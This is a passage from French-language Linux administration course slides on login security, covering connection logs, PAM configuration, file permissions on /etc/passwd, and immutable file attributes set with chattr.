contient l’historique des connexions qui ont échouées
• /var/log/wtmp
mémorise les connexions passées qu’on peut afficher par la commande last
132
SECURITE DES CONNEXIONS
- Commandes :
• login : connexion
• last : afficher la liste des connexions passées
• su : faire exécuter un processus avec une autre identité
• pwconv, pwunconv : conversion /etc/passwd /etc/shadow
+ commandes précédentes (passwd, chage, userdel, …)
133
SECURITE DES CONNEXIONS
- authentification PAM :
• fichiers de configuration : /etc/pam.d/login, /etc/pam.d/su, ….
• exemple de contenu pour /etc/pam.d/login :
auth
auth
auth
required /lib/security/pam_securetty.so
required /lib/security/pam_pwd.so shadow nullok
required /lib/security/pam_nologin.so
account required /lib/security/pam_pwd.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_pwd.so shadow nullok use_authok
session
required /lib/security/pam_pwd.so
134
SECURITE DES CONNEXIONS
- protection des fichiers
• à vérifier les droits d’accès par /bin/ls -l :
/etc/passwd :
- rw- r-- r--
/bin/passwd :
- rws r-s --x
• à modifier les droits par chmod
chmod 0644 /etc/passwd
135
SECURITE DES CONNEXIONS
- attributs des fichiers
• à vérifier les attributs par lsattr :
s---i---
• à modifier les attributs par chattr par un +/-acidusSAR :
chattr +i /etc/passwd
chattr -s /etc/skel
Publicité
(a : append, c : compress,